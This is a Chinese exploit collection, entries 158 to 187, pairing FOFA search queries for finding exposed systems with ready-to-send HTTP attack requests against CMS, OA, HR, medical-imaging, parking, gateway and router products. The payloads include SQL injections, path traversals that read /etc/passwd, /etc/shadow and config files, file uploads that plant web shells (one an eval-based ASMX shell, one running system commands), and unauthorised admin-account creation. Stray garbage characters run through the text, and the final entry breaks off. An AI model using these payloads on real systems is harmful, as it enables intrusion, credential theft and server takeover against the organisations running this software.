$ O4 ^7 Y! r8 {3 h  |( Q  \, T$ B8 e------WebKitFormBoundary1imovELzPsfzp5dN--


9 R8 H! w6 B# i/ O6 q$ N& Dhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

' D! K6 R" h: o, y( _158. Mura-CMS-processAsyncObject存在SQL注入
! X8 V; J) o4 a# G% L0 }CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
4 @4 g1 X/ f% N$ z3 w- e1 PHost: {{Hostname}}
8 |! e% {7 l; ]+ a  zContent-Type: application/x-www-form-urlencoded
7 k3 Y( K- ^3 c) y% \. B- {, I
: C9 X' {4 Q$ w5 Wobject=displayregion&contenthistid=x\'&previewid=1
2 V" w7 ~: C$ r) ~' q

! T- _( g* V, Z# a. u159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
  s/ j2 b/ ?8 Y) t3 ]. n4 F$ kFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
3 [* P! Q8 a6 Y' Z9 N! }4 d; nPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
; ]4 z! H' v) i- \, eSoapaction: "http://rainier/jobUpload"
8 S0 d0 i& L- T
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
0 d5 [+ F9 Z$ ^- z<vcode>1</vcode>
. z9 a) c: u# L2 ~9 Z<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
: M1 P7 F' j- L% m( P" a</soap:Body>
</soap:Envelope>
! C& m; O8 n& P4 S1 O

* T" C4 T: V! p* Y. Q8 n/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


. T9 D" Z$ a2 ?1 q" Y! g& Y$ l160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
7 i" E' o% D  dHost: x.x.x.x
" N6 d  v9 S; B4 V/ X0 uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
5 i7 m/ }4 \) k5 K- k9 yConnection: close
Accept: */*
0 |. S& b1 @% G' ?0 C) D  E4 m! OAccept-Language: en
Accept-Encoding: gzip
( P( n* l. b& I0 X' G
5 v& I3 ^* P/ h: S/ S- v/ ~" y; V& U
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
5 v/ e6 c# b% C  `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
5 ?0 h. h0 n; Z; A" _3 nConnection: close
9 s" y5 X. M0 m9 {( O" ZContent-Length: 445
& h, x& X& A6 w; D. D$ }( u8 zContent-Type: text/xml
Accept-Encoding: gzip
6 x" X! D; M* u/ W0 {) j; o
<?xml version="1.0" encoding="utf-8"?>
. n9 u8 r! u% R/ X  f<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
! I' Q3 s' q: a' G, `xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
! |- M! T6 S0 g$ q: j<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
" A& M- S/ I5 l7 e- F<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
' m8 c& J+ v7 q; |
1 T0 b; b/ N" b/ _9 }
7 `* y! G8 c( p) bhttp://x.x.x.x/dizxdell.aspx

" k& O) Z2 x1 L# z9 W5 q2 W( @: C162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

! f0 Q. q/ `7 l$ s8 j7 x------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
/ D; p! A4 E% ^3 _3 V8 s* QContent-Disposition: form-data; name="action"
& k. B* w: r* t' P+ L3 ?6 b, ~- ]! [
upload
------WebKitFormBoundaryeegvclmyurlotuey
4 Y3 ?7 Y  N6 Z7 m9 GContent-Disposition: form-data; name="responderId"
* v- a, _7 ?; p" F' |5 ?* p% Z7 O
; c0 r) d6 t" k0 dResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
+ g, X, T6 k0 z------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
' V, D) A* a) _) m- Z
$ ]+ E# ^0 g4 A- N: j8 i# E2 z163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
+ a8 {8 a" _5 w, u9 FFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ G  P6 D3 a( dConnection: close
Content-Length: 293
+ @/ r7 B4 b# I/ ?4 DAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. p. y. @. {6 Z; H" O7 o' lContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
3 G/ v( `8 S% x1 j------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 O7 F( \% z6 ]: S! S4 F8 T# c) y, {Content-Disposition: form-data; name="upfile"; filename="1.php"
) _! T: p' o; r  L5 J9 A. t. }& dContent-Type: image/jpeg
* j8 ^9 _7 e9 G  x) J6 X9 C8 ]
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

+ |# c  [+ F) h# g1 D* d
% o  `: J1 E$ ^6 U% P164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
4 E# ~* L8 d2 K& ~9 |0 lPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
) `% [; s' C/ B2 Y9 K) jContent-Length: 288
1 G, A6 Q6 x  NAccept: application/json, text/javascript, */*; q=0.01
; V2 _  `( ~! f) k* p% d$ IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
7 b5 ~# S, c; U0 \0 QContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
/ a- V/ k7 `) P0 p' rAccept-Encoding: gzip

) p" {7 z: p0 t: s2 ?" i6 {, ]9 J  r------dqdaieopnozbkapjacdbdthlvtlyl
( ]& w# K' U6 a) [3 bContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
& L4 n0 o; U; z. WContent-Type: image/jpeg
! D; e! Q3 o4 w2 S+ ~; M. `
/ Q  l8 o7 L: R/ v3 i<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


9 p7 k$ z( E7 o7 F0 u- L* ?http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
) M4 q, o0 `) y3 X
3 U2 L* ~! J. }165. OrangeHRM 3.3.3 SQL 注入
, r4 D. ~5 I. VCVE-2024-36428
8 S. _  e  Z  k& X% A6 a8 ^FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

7 f7 Z0 ?( G: T4 O( y  `0 @# u
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
3 ]% w6 n3 ^- F" f1 ]1 g6 E( q- aHost:
" |$ `$ v! j. QPragma: no-cache
Cache-Control: no-cache
) @; H' f9 d3 YUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: a# u1 `8 G, @Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* d$ o, L  z  x( ?Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
) W! W6 ?0 u. k8 e1 xConnection: close
Content-Type: application/x-www-form-urlencoded
8 S6 \, D. |# F5 \6 KContent-Length: 89
7 I* h. B3 @: j" N. H; T
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
. G2 a4 g1 p* \) {) {' E5 ]; N1 K

& A5 j  t! \7 K1 j167. 精益价值管理系统 DownLoad.aspx任意文件读取
, Q1 e& D, F. s+ I5 EFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
( g9 `, {5 d, e6 [' z4 |GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
# d- e: e6 P* ], ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ p& r& g/ b$ n$ RContent-Type: application/x-www-form-urlencoded
' R& W% T$ ~1 NAccept-Encoding: gzip, deflate
Accept: */*
% V" R% ]' |% q/ t+ aConnection: keep-alive
- n" f8 x  l5 J+ `3 d- Z5 j- W
. a/ U2 u5 o9 f) U6 |% m
$ V: x, U$ i( b+ X+ [% L, O; }168. 宏景EHR OutputCode 任意文件读取
7 u/ K2 l; z/ K" P9 f/ {" }( i& JFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
, n9 H0 P- c5 m' ^+ A3 o* fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
1 B/ e. R' o4 M  x5 OContent-Type: application/x-www-form-urlencoded
Connection: close



169. 宏景EHR downlawbase SQL注入
  d% a! Y8 h) H2 K  z. nFOFA：app="HJSOFT-HCM"
1 o  i- [4 {: q# T) T2 d2 iGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
" d8 b- z0 g2 \! K. c2 d% u( E$ THost: your-ip
; F, Q' r4 q7 u3 Z" TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
! k3 F9 r: Q* T, e2 b, K, t3 VAccept-Encoding: gzip, deflate
7 q4 b* R3 C+ h% l. SConnection: close
+ t9 W# e% E6 D6 u


4 B" }3 q' h; @. F170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
  [  n7 c1 k9 s- UPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 G9 f3 {5 D; |* g! L# eContent-Type: application/x-www-form-urlencoded

- j7 G0 S; F/ B% ?filename=../webapps/ROOT/WEB-INF/web.xml

+ X: k- m, a8 R% b2 q: \
171. 通天星CMSV6车载定位监控平台 SQL注入
" _* U9 @$ Z0 n  T: ?$ L2 F* f! Q+ _- Z6 PFOFA：body="/808gps/"
$ H: e/ J) b1 RGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
$ o3 }) [9 T) Z8 s( I, \Host: your-ip
( h/ m- \( b6 q; B( K6 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
$ k- u# ~4 L- \' O/ b+ z$ A" C2 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' v' B  O; {0 b& b6 ?9 w+ PAccept-Encoding: gzip, deflate
Connection: close



- v$ o# l' }- f- L! V1 I$ p) T172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
; p& A$ I! p+ N0 m6 @Host: your-ip
+ _9 r3 V7 o# c* S7 T4 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
' j9 L5 A. Z' s0 eAccept: */*
Connection: keep-alive


! D& s/ v: V9 F7 y- E  m6 ?
5 @; j; z7 o# U: y: d: h173. Check Point 安全网关任意文件读取
CVE-2024-24919
2 m& s. x. _) a0 n2 JFOFA：app="Check_Point-SSL-Network-Extender"
% o7 p5 l1 V6 e$ v, z# T- [8 aPOST /clients/MyCRL HTTP/1.1
1 T  V9 o( [8 s  qHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

- e& s0 A4 K) |) @: m4 M! A0 u
# _; {' C1 K3 N) h; s
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
! d* f/ }3 t  ^* O: F4 {FOFA：app="金和网络-金和OA"
8 u( H( f2 E- ]GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
) X% v( ?  g3 D2 ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
- I& Y# R6 ~7 NAccept-Language: zh-CN,zh;q=0.9
5 S4 ?/ j3 \4 B/ h) }Connection: close
5 Q& w7 g+ j3 S3 t! ~0 X


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# Z7 o; n8 P2 K  N( V0 D4 \! o4 NFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
6 r; J9 `$ b! `, i& N$ R: tHost:
7 {+ M/ O2 s( E& [User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' v7 |7 u7 g1 u7 `5 X$ oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# [, W0 r& c9 f0 q$ O9 n; P- f6 D# SConnection: close
  I9 y: ]: t. T. H- E0 m  G( P1 JUpgrade-Insecure-Requests: 1

3 k/ z1 c: o4 b( K" w& [2 t
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) l; m6 q, \. d3 g2 K0 q2 j7 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
/ _8 J: _6 |2 B7 R
7 b( V0 P0 W+ y; `6 Y------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
& D# y& o. g1 n. z9 k5 XContent-Type: image/png
1 e* |1 _6 K% Z0 [- m! K8 z5 F2 p
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

7 {$ R7 `. m* i2 @* e4 p
8 B  }6 t9 T2 u+ ^- [------WebKitFormBoundaryOKldnDPT--
% r2 w7 F) H3 y4 {
! Q# c- R& S! z9 n# O5 z) b9 r+ A
5 M" L: m9 _3 d. ~6 G
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" v! b, ~! R* b" j/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
# a. t5 `$ @  D2 N* K3 C1 I/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
- t# e, V+ J1 h# R( z" F/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
9 ~. X( b8 B/ A$ ^$ @/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
( Y5 {$ b' k5 Z4 g9 O/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/ Q0 B/ ]  V" t+ \& d# T3 }, O/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
- b0 {: }. M/ j/userLogin.asp/../actionpolicy_status/../ER3260.cfg
! J2 Q, M3 b' j' o/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
& U* t# A# S" h. p/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
; r/ U/ s  {  f- F5 j! p3 D/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
  U, c- |5 r4 I+ C  a1 q0 X# D. R/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
/ v9 i; Y& A+ L" [/ c" N* S4 s
* B) z% m4 _0 \" G, m9 U6 `
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
. x! c1 e6 {* }5 b9 R9 `# kPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
% w) q6 ^, K+ X6 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 ?& g  x+ m( XContent-Length: 252
Accept-Encoding: gzip, deflate
# u- c$ w. Y: B! K* k& j$ SConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
4 K: U' Q/ c! l& C( dContent-Length: 255
0 }1 h- V: N; @( G; w
( ~8 j; V  k. X12234
' r3 _* i! x# A-----------------aqutkea7vvanpqy3rh2l--
0 ]0 E! F- ^1 o2 y" H, O

GET /imc/primepush/%2e%2e/flex/12234.txt
$ j- z' j0 y! t$ r# Y% m. W
) Y5 r; w. ~3 J. w
+ `& [- P; Q0 ?179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

- O* J  X$ i5 ^( P# z& y6 upath=../log4net.config&Name=
9 Y3 s2 P9 P2 T! z3 d) _7 X+ L; X$ u4 [
- m! C/ ]4 Q% B. j1 M* D7 I( O
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. }+ m9 N  F6 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 Q4 p& S% d% {$ x. ?/ A2 ]Connection: close

, \; W; i- c0 q7 ~9 ^& `& l
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
  U. x1 K2 M" y4 ?% V% a, k$ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


3 S1 `9 I  e$ P" h4 L/ Oaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

' A9 d7 W8 R0 m3 R- C
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
& `2 R) r! ^$ b! a  IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ e( h4 |. p1 t# o9 Q  UAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

& x) t" Y& x' v9 F1 {5 x* c) j
username=test1234&pwd=test1234&savedays=1
( q% E$ w# t$ u" x+ s* J

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 O, L- |3 D1 @FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
) u& L3 w/ ?" {" Q) y2 ^0 c4 HGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
0 I- \, e" {1 L, t# j' AHost: your-ip
0 S' V  l) @$ x  u6 s* @' J% n: mUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; i* @5 e  K8 l- j$ l0 gAccept-Charset: utf-8
+ O  f8 @" Q2 A& lAccept-Encoding: gzip, deflate
Connection: close
/ [9 G' a" {  j  W. a( u, c
# U: e% f. C% ]- k
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
& M0 a. [9 |9 X3 @FOFA：server="SunFull-Webs"
' {2 ^5 l! c! n3 RPOST /soap/AddUser HTTP/1.1
$ [( [1 P) J# J* JHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; ]: w( r5 [2 v" }$ L8 g" xAccept: application/xml, text/xml, */*; q=0.01
- h6 y. P3 `1 n2 F  A& A" P# m7 HContent-Type: text/xml; charset=utf-8
% C1 q' @, p! f8 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
) }' s& L( ^$ Z+ e5 `0 B) H; d

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

8 z5 C+ n8 C( N' N
  w8 ~" |# J& _" X. }# M185. 瑞友天翼应用虚拟化系统SQL注入
) y+ z5 Z* q/ n: o" M; D1 {0 lversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
9 b, H6 j. \- q9 D! o* HHost: host
% i4 g; `1 i. n( Y7 F" g
  D- g! D& o, T6 ?8 F
1 D, H& C# p8 }! v1 c9 f! I186. F-logic DataCube3 SQL注入
+ u( n# }6 |; S; Z( V, {CVE-2024-31750
; t0 ]- n! N! ^7 `4 aF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
9 c0 \7 @8 M) j3 n& _0 H- S3 HFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, n% q& y4 y: v5 D  c2 HAccept-Encoding: gzip, deflate
) W, l- e, F, MConnection: close
Content-Type: application/x-www-form-urlencoded
( h( c) e. ~% l& t6 U* L6 o. _& \% x
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
/ C8 p! b7 C: r- p. Y' @9 {

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
* w5 g# K* E4 H5 rPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
/ s2 x0 a1 r, d% i! z' M1 h% dContent-Type: application/x-www-form-urlencoded

& ]8 K& ]# r' _, @0 r% n) L8 Q
